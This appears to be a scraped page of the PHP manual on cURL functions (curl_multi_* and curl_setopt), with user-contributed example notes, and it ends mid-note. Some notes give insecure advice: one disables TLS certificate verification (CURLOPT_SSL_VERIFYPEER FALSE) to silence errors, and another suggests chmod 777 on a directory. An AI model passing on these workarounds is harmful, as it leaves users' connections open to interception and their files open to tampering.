The use of "curl_multi_remove_handle" causes seg faults in pre 5.1 versions of PHP.  Apparently this has been fixed.

http://bugs.php.net/bug.php?id=34420
dtorop933 at gmail dot com
08-Jan-2005 02:21
Here is a revision of rhondle's example.  It uses curl_multi_select() to reduce CPU usage while waiting on the network.  It is also includes some error handling and cleanup code.

<?php
$connomains = array(
   "http://www.cnn.com/",
   "http://www.canada.com/",
   "http://www.yahoo.com/"
);

$mh = curl_multi_init();

foreach ($connomains as $i => $url) {
  $conn[$i] = curl_init($url);
  curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
  curl_multi_add_handle ($mh,$conn[$i]);
}

// start performing the request
do {
  $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active and $mrc == CURLM_OK) {
  // wait for network
  if (curl_multi_select($mh) != -1) {
   // pull in any new data, or at least handle timeouts
   do {
     $mrc = curl_multi_exec($mh, $active);
   } while ($mrc == CURLM_CALL_MULTI_PERFORM);
  }
}

if ($mrc != CURLM_OK) {
  print "Curl multi read error $mrc\n";
}

// retrieve data
foreach ($connomains as $i => $url) {
  if (($err = curl_error($conn[$i])) == '') {
   $res[$i]=curl_multi_getcontent($conn[$i]);
  } else {
   print "Curl error on handle $i: $err\n";
  }
  curl_multi_remove_handle($mh,$conn[$i]);
  curl_close($conn[$i]);
}
curl_multi_close($mh);

print_r($res);
?>
rhondle at hotmail dot com
05-May-2004 03:55
Here's a quick and dirty example for curl-multi from PHP, tested on PHP 5.0.0RC1 CLI / FreeBSD 5.2.1

<?php
$connomains = array(
   "http://www.cnn.com/",
   "http://www.canada.com/",
   "http://www.yahoo.com/"
   );

$mh = curl_multi_init();

foreach ($connomains as $i => $url) {
       $conn[$i]=curl_init($url);
       curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,1);
       curl_multi_add_handle ($mh,$conn[$i]);
}

do { $n=curl_multi_exec($mh,$active); } while ($active);

foreach ($connomains as $i => $url) {
       $res[$i]=curl_multi_getcontent($conn[$i]);
       curl_close($conn[$i]);
}

print_r($res);

?>

-Marty
http://marty.anstey.ca/
add a note add a note

后退 | 起点 | 前进
curl_multi_close | 上一级 | curl_multi_getcontent


curl_multi_getcontent

(PHP 5)

curl_multi_getcontent -- Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set

Description

string curl_multi_getcontent ( resource ch )

警告

本函数暂无文档，仅有参数列表。

See also curl_multi_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_multi_exec | 上一级 | curl_multi_info_read


curl_multi_info_read

(PHP 5)

curl_multi_info_read -- Get information about the current transfers

Description

array curl_multi_info_read ( resource mh )

警告

本函数暂无文档，仅有参数列表。

See also curl_multi_init().

add a note add a note User Contributed Notes
dtorop933 at gmail dot com
08-Jan-2005 12:30
Note that as of PHP 5.0.3, curl_multi_info_read() is a NOP (not yet implemented).
add a note add a note

后退 | 起点 | 前进
curl_multi_getcontent | 上一级 | curl_multi_init


curl_multi_init

(PHP 5)

curl_multi_init -- Returns a new cURL multi handle

Description

resource curl_multi_init ( void )

警告

本函数暂无文档，仅有参数列表。

See also curl_init() and curl_multi_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_multi_info_read | 上一级 | curl_multi_remove_handle


curl_multi_remove_handle

(PHP 5)

curl_multi_remove_handle -- Remove a multi handle from a set of cURL handles

Description

int curl_multi_remove_handle ( resource mh, resource ch )

警告

本函数暂无文档，仅有参数列表。

See also
curl_multi_init(),
curl_init(), and
curl_multi_add_handle().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_multi_init | 上一级 | curl_multi_select


curl_multi_select

(PHP 5)

curl_multi_select -- Get all the sockets associated with the cURL extension, which can then be "selected"

Description

int curl_multi_select ( resource mh [, float timeout] )

警告

本函数暂无文档，仅有参数列表。

See also curl_multi_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
curl_multi_remove_handle | 上一级 | curl_setopt


curl_setopt

(PHP 4 >= 4.0.2, PHP 5)

curl_setopt -- Set an option for a CURL transfer

Description

bool curl_setopt ( resource ch, int option, mixed value )

Set an option for a CURL session identified by the ch parameter. option specifies which option to set, and value specifies the value for the option given.

value should be a bool for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_AUTOREFERER | TRUE to automatically set the Referer: field in requests where it follows a Location: redirect. | Available since PHP 5.1.0.
CURLOPT_BINARYTRANSFER | TRUE to return the raw output when CURLOPT_RETURNTRANSFER is used.
CURLOPT_COOKIESESSION | TRUE to mark this as a new cookie "session". It will force libcurl to ignore all cookies it is about to load that are "session cookies" from the previous session. By default, libcurl always stores and loads all cookies, independent if they are session cookies are not. Session cookies are cookies without expiry date and they are meant to be alive and existing for this "session" only. | Available since PHP 5.1.0.
CURLOPT_CRLF | TRUE to convert Unix newlines to CRLF newlines on transfers.
CURLOPT_DNS_USE_GLOBAL_CACHE | TRUE to use a global DNS cache. This option is not thread-safe and is enabled by default.
CURLOPT_FAILONERROR | TRUE to fail silently if the HTTP code returned is greater than 300. The default behavior is to return the page normally, ignoring the code.
CURLOPT_FILETIME | TRUE to attempt to retrieve the modification date of the remote document. You can then retrieve this value using the CURLINFO_FILETIME option with curl_getinfo().
CURLOPT_FOLLOWLOCATION | TRUE to follow any "Location: " header that the server sends as part of the HTTP header (note this is recursive, PHP will follow as many "Location: " headers that it is sent, unless CURLOPT_MAXREDIRS is set).
CURLOPT_FORBID_REUSE | TRUE to force the connection to explicitly close when it has finished processing, and not be pooled for reuse.
CURLOPT_FRESH_CONNECT | TRUE to force the use of a new connection instead of a cached one.
CURLOPT_FTP_USE_EPRT | TRUE to use EPRT (and LPRT) when doing active FTP downloads. Use FALSE to disable EPRT and LPRT and use PORT only. | Added in PHP 5.0.0.
CURLOPT_FTP_USE_EPSV | TRUE to first try an EPSV command for FTP transfers before reverting back to PASV. Set to FALSE to disable EPSV.
CURLOPT_FTPAPPEND | TRUE to append to the remote file instead of overwriting it.
CURLOPT_FTPASCII | An alias of CURLOPT_TRANSFERTEXT. Use that instead.
CURLOPT_FTPLISTONLY | TRUE to only list the names of an FTP directory.
CURLOPT_HEADER | TRUE to include the header in the output.
CURLOPT_HTTPGET | TRUE to reset the HTTP request method to GET. Since GET is the default, this is only necessary if the request method has been changed.
CURLOPT_HTTPPROXYTUNNEL | TRUE to tunnel through a given HTTP proxy.
CURLOPT_MUTE | TRUE to be completely silent with regards to the CURL functions.
CURLOPT_NETRC | TRUE to scan your ~/.netrc file to find your username and password for the remote site that you're establishing a connection with.
CURLOPT_NOBODY | TRUE to exclude the body from the output.
CURLOPT_NOPROGRESS TRUE to disable the progress meter for CURL transfers.

注: PHP automatically sets this option to TRUE, this should only be changed for debugging purposes.

CURLOPT_NOSIGNAL | TRUE to ignore any CURL function that causes a signal to be sent to the PHP process. This is turned on by default in multi-threaded SAPIs so timeout options can still be used. | Added in CURL 7.10 and PHP 5.0.0.
CURLOPT_POST | TRUE to do a regular HTTP POST. This POST is the normal application/x-www-form-urlencoded kind, most commonly used by HTML forms.
CURLOPT_PUT | TRUE to HTTP PUT a file. The file to PUT must be set with CURLOPT_INFILE and CURLOPT_INFILESIZE.
CURLOPT_RETURNTRANSFER | TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.
CURLOPT_SSL_VERIFYPEER | FALSE to stop CURL from verifying the peer's certificate. Alternate certificates to verify against can be specified with the CURLOPT_CAINFO option or a certificate directory can be specified with the CURLOPT_CAPATH option. CURLOPT_SSL_VERIFYHOST may also need to be TRUE or FALSE if CURLOPT_SSL_VERIFYPEER is disabled (it defaults to 2). | TRUE by default as of CURL 7.10. Default bundle installed as of CURL 7.10.
CURLOPT_TRANSFERTEXT | TRUE to use ASCII mode for FTP transfers. For LDAP, it retrieves data in plain text instead of HTML. On Windows systems, it will not set STDOUT to binary mode.
CURLOPT_UNRESTRICTED_AUTH | TRUE to keep sending the username and password when following locations (using CURLOPT_FOLLOWLOCATION), even when the hostname has changed. | Added in PHP 5.0.0.
CURLOPT_UPLOAD | TRUE to prepare for an upload.
CURLOPT_VERBOSE | TRUE to output verbose information. Writes output to STDERR, or the file specified using CURLOPT_STDERR.

value should be an integer for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_BUFFERSIZE | The size of the buffer to use for each read. There is no guarantee this request will be fulfilled, however. | Added in CURL 7.10 and PHP 5.0.0.
CURLOPT_CLOSEPOLICY | Either CURLCLOSEPOLICY_LEAST_RECENTLY_USED or CURLCLOSEPOLICY_OLDEST. There are three other CURLCLOSEPOLICY_ constants, but CURL does not support them yet.
CURLOPT_CONNECTTIMEOUT | The number of seconds to wait whilst trying to connect. Use 0 to wait indefinitely.
CURLOPT_DNS_CACHE_TIMEOUT | The number of seconds to keep DNS entries in memory. This option is set to 120 (2 minutes) by default.
CURLOPT_FTPSSLAUTH | The FTP authentication method (when is activated): CURLFTPAUTH_SSL (try SSL first), CURLFTPAUTH_TLS (try TLS first), or CURLFTPAUTH_DEFAULT (let CURL decide). | Added in CURL 7.12.2 and PHP 5.1.0.
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (default, lets CURL decide which version to use), CURL_HTTP_VERSION_1_0 (forces HTTP/1.0), or CURL_HTTP_VERSION_1_1 (forces HTTP/1.1).
CURLOPT_HTTPAUTH

The HTTP authentication method(s) to use. The options are: CURLAUTH_BASIC, CURLAUTH_DIGEST, CURLAUTH_GSSNEGOTIATE, CURLAUTH_NTLM, CURLAUTH_ANY, and CURLAUTH_ANYSAFE.

You can use the bitwise | (or) operator to combine more than one method. If you do this, CURL will poll the server to see what methods it supports and pick the best one.

CURLAUTH_ANY is an alias for CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM.

CURLAUTH_ANYSAFE is an alias for CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM.

Added in PHP 5.0.0.
CURLOPT_INFILESIZE | The expected size, in bytes, of the file when uploading a file to a remote site.
CURLOPT_LOW_SPEED_LIMIT | The transfer speed, in bytes per second, that the transfer should be below during CURLOPT_LOW_SPEED_TIME seconds for PHP to consider the transfer too slow and abort.
CURLOPT_LOW_SPEED_TIME | The number of seconds the transfer should be below CURLOPT_LOW_SPEED_LIMIT for PHP to consider the transfer too slow and abort.
CURLOPT_MAXCONNECTS | The maximum amount of persistent connections that are allowed. When the limit is reached, CURLOPT_CLOSEPOLICY is used to determine which connection to close.
CURLOPT_MAXREDIRS | The maximum amount of HTTP redirections to follow. Use this option alongside CURLOPT_FOLLOWLOCATION.
CURLOPT_PORT | An alternative port number to connect to.
CURLOPT_PROXYAUTH | The HTTP authentication method(s) to use for the proxy connection. Use the same bitmasks as described in CURLOPT_HTTPAUTH. For proxy authentication, only CURLAUTH_BASIC and CURLAUTH_NTLM are currently supported. | Added in CURL 7.10.7 and PHP 5.1.0.
CURLOPT_PROXYPORT | The port number of the proxy to connect to. This port number can also be set in CURLOPT_PROXY. | Added in PHP 5.0.0.
CURLOPT_PROXYTYPE | Either CURLPROXY_HTTP (default) or CURLPROXY_SOCKS5. | Added in CURL 7.10 and PHP 5.0.0.
CURLOPT_RESUME_FROM | The offset, in bytes, to resume a transfer from.
CURLOPT_SSL_VERIFYHOST | 1 to check the existence of a common name in the SSL peer certificate. 2 to check the existence of a common name and also verify that it matches the hostname provided.
CURLOPT_SSLVERSION | The SSL version (2 or 3) to use. By default PHP will try to determine this itself, although in some cases you must set this manually.
CURLOPT_TIMECONDITION | How CURLOPT_TIMEVALUE is treated. Use CURL_TIMECOND_IFMODSINCE to return the page only if it has been modified since the time specified in CURLOPT_TIMEVALUE. If it hasn't been modified, a "304 Not Modified" header will be returned assuming CURLOPT_HEADER is TRUE. Use CURL_TIMECOND_ISUNMODSINCE for the reverse effect. CURL_TIMECOND_IFMODSINCE is the default. | Added in PHP 5.1.0.
CURLOPT_TIMEOUT | The maximum number of seconds to allow CURL functions to execute.
CURLOPT_TIMEVALUE | The time in seconds since January 1st, 1970. The time will be used by CURLOPT_TIMECONDITION. By default, CURL_TIMECOND_IFMODSINCE is used.

value should be a string for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_CAINFO | The name of a file holding one or more certificates to verify the peer with. This only makes sense when used in combination with CURLOPT_SSL_VERIFYPEER.
CURLOPT_CAPATH | A directory that holds multiple CA certificates. Use this option alongside CURLOPT_SSL_VERIFYPEER.
CURLOPT_COOKIE | The contents of the "Set-Cookie: " header to be used in the HTTP request.
CURLOPT_COOKIEFILE | The name of the file containing the cookie data. The cookie file can be in Netscape format, or just plain HTTP-style headers dumped into a file.
CURLOPT_COOKIEJAR | The name of a file to save all internal cookies to when the connection closes.
CURLOPT_CUSTOMREQUEST A custom request method to use instead of "GET" or "HEAD" when doing a HTTP request. This is useful for doing "DELETE" or other, more obscure HTTP requests. Valid values are things like "GET", "POST", "CONNECT" and so on; i.e. Do not enter a whole HTTP request line here. For instance, entering "GET /index.html HTTP/1.0\r\n\r\n" would be incorrect.

注: Don't do this without making sure your server supports the custom request method first.

CURLOPT_EGBSOCKET | Like CURLOPT_RANDOM_FILE, except a filename to an Entropy Gathering Daemon socket.
CURLOPT_ENCODING | The contents of the "Accept-Encoding: " header. This enables decoding of the response. Supported encodings are "identity", "deflate", and "gzip". If an empty string, "", is set, a header containing all supported encoding types is sent. | Added in CURL 7.10.
CURLOPT_FTPPORT | The value which will be used to get the IP address to use for the FTP "POST" instruction. The "POST" instruction tells the remote server to connect to our specified IP address. The string may be a plain IP address, a hostname, a network interface name (under Unix), or just a plain '-' to use the systems default IP address.
CURLOPT_INTERFACE | The name of the outgoing network interface to use. This can be an interface name, an IP address or a host name.
CURLOPT_KRB4LEVEL | The KRB4 (Kerberos 4) security level. Any of the following values (in order from least to most powerful) are valid: "clear", "safe", "confidential", "private".. If the string does not match one of these, "private" is used. Setting this option to NULL will disable KRB4 security. Currently KRB4 security only works with FTP transactions.
CURLOPT_POSTFIELDS | The full data to post in a HTTP "POST" operation.
CURLOPT_PROXY | The HTTP proxy to tunnel requests through.
CURLOPT_PROXYUSERPWD | A username and password formatted as "[username]:[password]" to use for the connection to the proxy.
CURLOPT_RANDOM_FILE | A filename to be used to seed the random number generator for SSL.
CURLOPT_RANGE | Range(s) of data to retrieve in the format "X-Y" where X or Y are optional. HTTP transfers also support several intervals, separated with commas in the format "X-Y,N-M".
CURLOPT_REFERER | The contents of the "Referer: " header to be used in a HTTP request.
CURLOPT_SSL_CIPHER_LIST | A list of ciphers to use for SSL. For example, RC4-SHA and TLSv1 are valid cipher lists.
CURLOPT_SSLCERT | The name of a file containing a PEM formatted certificate.
CURLOPT_SSLCERTPASSWD | The password required to use the CURLOPT_SSLCERT certificate.
CURLOPT_SSLCERTTYPE | The format of the certificate. Supported formats are "PEM" (default), "DER", and "ENG". | Added in CURL 7.9.3 and PHP 5.0.0.
CURLOPT_SSLENGINE | The identifier for the crypto engine of the private SSL key specified in CURLOPT_SSLKEY.
CURLOPT_SSLENGINE_DEFAULT | The identifier for the crypto engine used for asymmetric crypto operations.
CURLOPT_SSLKEY | The name of a file containing a private SSL key.
CURLOPT_SSLKEYPASSWD The secret password needed to use the private SSL key specified in CURLOPT_SSLKEY.

注: Since this option contains a sensitive password, remember to keep the PHP script it is contained within safe.

CURLOPT_SSLKEYTYPE | The key type of the private SSL key specified in CURLOPT_SSLKEY. Supported key types are "PEM" (default), "DER", and "ENG".
CURLOPT_URL | The URL to fetch. You can also set this when initializing a session with curl_init().
CURLOPT_USERAGENT | The contents of the "User-Agent: " header to be used in a HTTP request.
CURLOPT_USERPWD | A username and password formatted as "[username]:[password]" to use for the connection.

value should be an array for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_HTTP200ALIASES | An array of HTTP 200 responses that will be treated as valid responses and not as errors. | Added in CURL 7.10.3 and PHP 5.0.0.
CURLOPT_HTTPHEADER | An array of HTTP header fields to set. |
CURLOPT_POSTQUOTE | An array of FTP commands to execute on the server after the FTP request has been performed. |
CURLOPT_QUOTE | An array of FTP commands to execute on the server prior to the FTP request. |

value should be a stream resource (using fopen(), for example) for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_FILE | The file that the transfer should be written to. The default is STDOUT (the browser window). |
CURLOPT_INFILE | The file that the transfer should be read from when uploading. |
CURLOPT_STDERR | An alternative location to output errors to instead of STDERR. |
CURLOPT_WRITEHEADER | The file that the header part of the transfer is written to. |

value should be a string that is the name of a valid callback function for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_HEADERFUNCTION | The name of a callback function where the callback function takes two parameters. The first is the CURL resource, the second is a string with the header data to be written. Using this callback function, it becomes your responsibility to write the header data. Return the number of bytes written. |
CURLOPT_PASSWDFUNCTION | The name of a callback function where the callback function takes three parameters. The first is the CURL resource, the second is a string containing a password prompt, and the third is the maximum password length. Return the string containing the password. |
CURLOPT_READFUNCTION | The name of a callback function where the callback function takes two parameters. The first is the CURL resource, and the second is a string with the data to be read. Using this callback function, it becomes your responsibility to read the data. Return the number of bytes read. Return 0 to signal EOF. |
CURLOPT_WRITEFUNCTION | The name of a callback function where the callback function takes two parameters. The first is the CURL resource, and the second is a string with the data to be written. Using this callback function, it becomes your responsibility to write the data. Must return the exact number of bytes written or this will fail. |

例子 1. Initializing a new CURL session and fetching a webpage

<?php
// create a new CURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);

// grab URL and pass it to the browser
curl_exec($ch);

// close CURL resource, and free up system resources
curl_close($ch);
?>

add a note add a note User Contributed Notes
Philippe dot Jausions at 11abacus dot com
31-May-2006 02:31
Clarification on the callback methods:

- CURLOPT_HEADERFUNCTION is for handling header lines received *in the response*,
- CURLOPT_WRITEFUNCTION is for handling data received *from the response*,
- CURLOPT_READFUNCTION is for handling data passed along *in the request*.

The callback "string" can be any callable function, that includes the array(&$obj, 'someMethodName') format.

 -Philippe
mr at coder dot tv
14-Apr-2006 10:22
Sometimes you can't use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE becoz of the server php-settings(They say u may grab any files from server using these options). Here is the solution
1)Don't use CURLOPT_FOLLOWLOCATION
2)Use curl_setopt($ch, CURLOPT_HEADER, 1)
3)Grab from the header cookies like this:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
4)Set them using curl_setopt($ch, CURLOPT_COOKIE,  $cookies);

Good Luck, Yevgen
giunta dot gaetano at sea-aeroportimilano dot it
27-Mar-2006 06:59
- CURLOPT-HTTPAUTH is defined in php 4.4.2 9and maybe lower), even tough the manual says php 5.0 only...

- it is not clear from the manual what kind of http auth is carried out by default if user specifies username/pwd: it is BASIC auth

ps: note to manual writers: the version info on this page always looks a bit inaccurate, especially regarding the php version where a given option first appeared...
Dustin Hawkins
28-Dec-2005 06:24
To further expand upon use of CURLOPT_CAPATH and CURLOPT_CAINFO...

In my case I wanted to prevent curl from talking to any HTTPS server except my own using a self signed certificate. To do this, you'll need openssl installed and access to the HTTPS Server Certificate (server.crt by default on apache)

You can then use a command simiar to this to translate your apache certificate into one that curl likes.

$ openssl x509 -in server.crt -out outcert.pem -text

Then set CURLOPT_CAINFO equal to the the full path to outcert.pem and turn on CURLOPT_SSL_VERIFYPEER.

If you want to use the CURLOPT_CAPATH option, you should create a directory for all the valid certificates you have created, then use the c_rehash script that is included with openssl to "prepare" the directory.

If you dont use the c_rehash utility, curl will ignore any file in the directory you set.
skyogre __at__ yandex __dot__ ru
22-Dec-2005 06:13
There is really a problem of transmitting $_POST data with curl in php 4+ at least.
I improved the encoding function by Alejandro Moreno to work properly with mulltidimensional arrays.

<?php
function data_encode($data, $keyprefix = "", $keypostfix = "") {
  assert( is_array($data) );
  $vars=null;
  foreach($data as $key=>$value) {
   if(is_array($value)) $vars .= data_encode($value, $keyprefix.$key.$keypostfix.urlencode("["), urlencode("]"));
   else $vars .= $keyprefix.$key.$keypostfix."=".urlencode($value)."&";
  }
  return $vars;
}

curl_setopt($ch, CURLOPT_POSTFIELDS, substr(data_encode($_POST), 0, -1) );

?>
phpnet at wafflehouse dot de
23-Oct-2005 09:34
Resetting CURLOPT_FILE to STDOUT won't work by calling curl_setopt() with the STDOUT constant or a php://output stream handle (at least I get error messages when trying the code from phpnet at andywaite dot com). Instead, one can simply reset it as a side effect of CURLOPT_RETURNTRANSFER. Just say

       curl_setopt($this->curl,CURLOPT_RETURNTRANSFER,0);

and following calls to curl_exec() will output to STDOUT again.
webmaster () stauceni.com
21-Oct-2005 04:42
A little mistake, that took a half-day to fix it:
When specifing CURLOPT_COOKIEFILE or CURLOPT_COOKIEJAR options, don't forget to "chmod 777" that directory where cookie-file must be created.
mcknight at chek dot com
23-Aug-2005 11:10
when specifing the file for either CURLOPT_COOKIEFILE or CURLOPT_COOKIEJAR you may need to use the full file path instead of just the relative path.
phpnet at andywaite dot com
08-Jun-2005 05:08
After setting CURLOPT_FILE, you may want want to revert back to the normal behaviour of displaying the results. This can be achieved using:

$fp = fopen ("php://output", "w") or die("Unable to open stdout for writing.\n");
curl_setopt($ch, CURLOPT_FILE, $fp);
ikendra at yken dot nospam dot org
10-May-2005 12:26
Using cURL, I needed to call a third-party script which was returning binary data as attachment to pass on retrieved data again as attachment.

Problem was that the third-party script occassionally returned HTTP errors and I wanted to avoid passing on zero-length attachment in such case.

Combination of using CURLOPT_FAILONERROR and CURLOPT_HEADERFUNCTION callback helped to process the third-party script HTTP errors neatly:

<?
function curlHeaderCallback($resURL, $strHeader) {
   if (preg_match('/^HTTP/i', $strHeader)) {
       header($strHeader);
       header('Content-Disposition: attachment; filename="file-name.zip"');
   }
   return strlen($strHeader);
}

$strURL = 'http://www.somesite.com/script-whichs-dumps-binary-attachment.php';

$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);

curl_exec ($resURL);

$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);

if ($intReturnCode != 200) {
   print 'was error: ' . $intReturnCode;
}
?>
ale at desarrolloweburuguay dot com
05-May-2005 08:00
I don't know if in PHP 5+ this problem is solved, but, when I send via POST using CURLOPT_POSTFIELDS some times it doesnt work an associative array as parameter... and, if I need to send non-ascii characters (like ,,,,etc..) this problem appears too.
The solution is to encode in a unique string all the post key=>values

Possibly this code doesnt work:

<?php

   $post_data = array();
   $post_data['var1'] = "Diseo web uruguay";
   $post_data['var2'] = "Other string";
   $url = "http://www.someurl.com/";

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_HEADER, 0);
   curl_setopt($ch, CURLOPT_URL, );
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
   $result = curl_exec($ch);

?>

But this works:
<?php

   $post_data = array();
   $post_data['var1'] = "Diseo web uruguay";
   $post_data['var2'] = "Other string";
   $url = "http://www.someurl.com/";

   $o="";
   foreach ($post_data as $k=>$v)
   {
       $o.= "$k=".utf8_encode($v)."&";
   }
   $post_data=substr($o,0,-1);

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_HEADER, 0);
   curl_setopt($ch, CURLOPT_URL, );
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
   $result = curl_exec($ch);

?>

Rgds.
Alejandro Moreno.-
azcappy at azcappy dot com
24-Mar-2005 02:03
AZAds is a traffic exchange that we wrote. We wanted to come up with a way to check the UP or DOWN status of a submitted URL. Here is the solution we came up with. Can also be used for a site monitoring service.

<?
$uServer="$url";
@$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$uServer");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
@curl_exec($ch);
$errnum=curl_errno($ch);
@curl_close($ch);
if($errnum != "0") {
     print "Remote Site Status: DOWN";
} else {
     print "Remote Site Status: UP";
}
?>

Simply feed the URL to be tested into $url. The code will check the site and return the error code if there is one and display to appropriate message.

Hope this is useful.

Keith
www.azads.net
mcknight at chek dot com
22-Feb-2005 01:38
Another way to automate a login process and store multiple cookies for additional transfers.

(The easiest way is probably just to use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE and save them to a file. But if you need to change those cookie values or add/delete them then you can use the code below to set them.)

Continuing with Paul Ebermann's parsing function.
 function parse_response($this_response)
   {
   // Split response into header and body sections
   list($response_headers, $response_body) = explode("\r\n\r\n", $this_response, 2);
   $response_header_lines = explode("\r\n", $response_headers);

   // First line of headers is the HTTP response code
   $http_response_line = array_shift($response_header_lines);
   if(preg_match('@^HTTP/[0-9]\.[0-9] ([0-9]{3})@',$http_response_line, $matches)) { $response_code = $matches[1]; }

   // put the rest of the headers in an array
   $response_header_array = array();
   foreach($response_header_lines as $header_line)
       {
       list($header,$value) = explode(': ', $header_line, 2);
       $response_header_array[$header] .= $value."\n";
       }

   return array("code" => $response_code, "header" => $response_header_array, "body" => $response_body);
   }

// Do transfer, and make sure to include header in response
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "[login process]");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

// Parse the response message
$response = parse_response($response);

// Create the basic header
$this_header = array(
   "MIME-Version: 1.0",
   "Content-type: text/html; charset=iso-8859-1",
   "Content-transfer-encoding: text"
);

// Add each cookie that has been returned in the response
// If cookies need to be added/deleted or value changed, then add code here
$cookies = explode("\n", $response["header"]["Set-Cookie"]);
foreach($cookies as $this_cookie) { array_push($this_header, "Cookie: ".$this_cookie); }

// Next set of transfers
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "[new transfer]");
curl_setopt($ch, CURLOPT_HTTPHEADER, $this_header);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
Aaron Stephanic
11-Nov-2004 01:51
The parse_response code below does not return multiple cookies as the value of 'Set-Cookie' if multiple cookies are set by the server.  It appears to only return the last cookie set.
Yura Pylypenko (plyrvt at mail dot ru)
09-Oct-2004 05:10
Each example of CURLOPT_POSTFIELDS in these comments has missing urlencode() on variable values. This should be applied according to RFC1738

<?php
$vars=null;
foreach($data as $key=>$value)
 if($key && $value)
  $vars.=$key."=".urlencode($value)."&";
?>
Paul dot Ebermann at esperanto dot de
22-Aug-2004 11:51
I changed the parse_response() function given by "brett at brettbrewer dot com", so it now ignores 1xx-responses, which may come before the real response.

<?php

function parse_response($response){
   /*
   ***original code extracted from examples at
   ***http://www.webreference.com/programming
                           /php/cookbook/chap11/1/3.html

   ***returns an array in the following format which varies depending on headers returned

       [0] => the HTTP error or response code such as 404
       [1] => Array
       (
           [Server] => Microsoft-IIS/5.0
           [Date] => Wed, 28 Apr 2004 23:29:20 GMT
           [X-Powered-By] => ASP.NET
           [Connection] => close
           [Set-Cookie] => COOKIESTUFF
           [Expires] => Thu, 01 Dec 1994 16:00:00 GMT
           [Content-Type] => text/html
           [Content-Length] => 4040
       )
       [2] => Response body (string)
*/

   do
     {
       list($response_headers,$response) = explode("\r\n\r\n",$response,2);
       $response_header_lines = explode("\r\n",$response_headers);

   // first line of headers is the HTTP response code
       $http_response_line = array_shift($response_header_lines);
       if (preg_match('@^HTTP/[0-9]\.[0-9] ([0-9]{3})@',$http_response_line,
                     $matches)) {
         $response_code = $matches[1];
       }
       else
         {
           $response_code = "Error";
         }
     }
   while (substr($response_code, 0,1) == "1");

   $response_body = $response;

   // put the rest of the headers in an array
   $response_header_array = array();
   foreach ($response_header_lines as $header_line) {
       list($header,$value) = explode(': ',$header_line,2);
       $response_header_array[$header] = $value;
   }

   return array($response_code,$response_header_array,$response_body);
}

?>
raul at navenetworks dot com
22-Jul-2004 04:19
Hi!

I have found some information I am sure it could help lot of programmers when they want to connect with curl to any https website and they haven't a good or right CA Cert :)

I give you just one example It has resolved me 2 hours of my time looking for a solution.

It is simple, just if you get any error in the curl_exec (use curl_error(...) to see the error to trace it) add the next line and everything is solved:

(note: replace $ch with the right curl variable)

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

<?php

$ch = curl_init();
$res= curl_setopt ($ch, CURLOPT_URL,"https://yoururl/cgi");

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "Idc=si&");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$xyz = curl_exec ($ch);

curl_close ($ch);
echo $xyz;
if ($xyz == NULL) {
           echo "Error:<br>";
           echo curl_errno($ch) . " - " . curl_error($ch) . "<br>";
}
?>

I hope this helps.

Raul Mate Galan
Ceo Navenetworks Corp.

Note: Thanks to Ruben Lopez Gea for his help too.
ron at ttvavanti dot nl
07-May-2004 11:00
If you specify a CAINFO, note that the file must be in PEM format! (If not, it won't work).
Using Openssl you can use:
openssl x509 -in <cert> -inform d -outform PEM -out cert.pem
To create a pem formatted certificate from a binary certificate (the one you get if you download the ca somewhere).
brett at brettbrewer dot com
29-Apr-2004 10:48
I found it very annoying that cURL did not offer any easy way to extract the response headers. If you do

     curl_setopt($ch, CURLOPT_HEADER, 1);

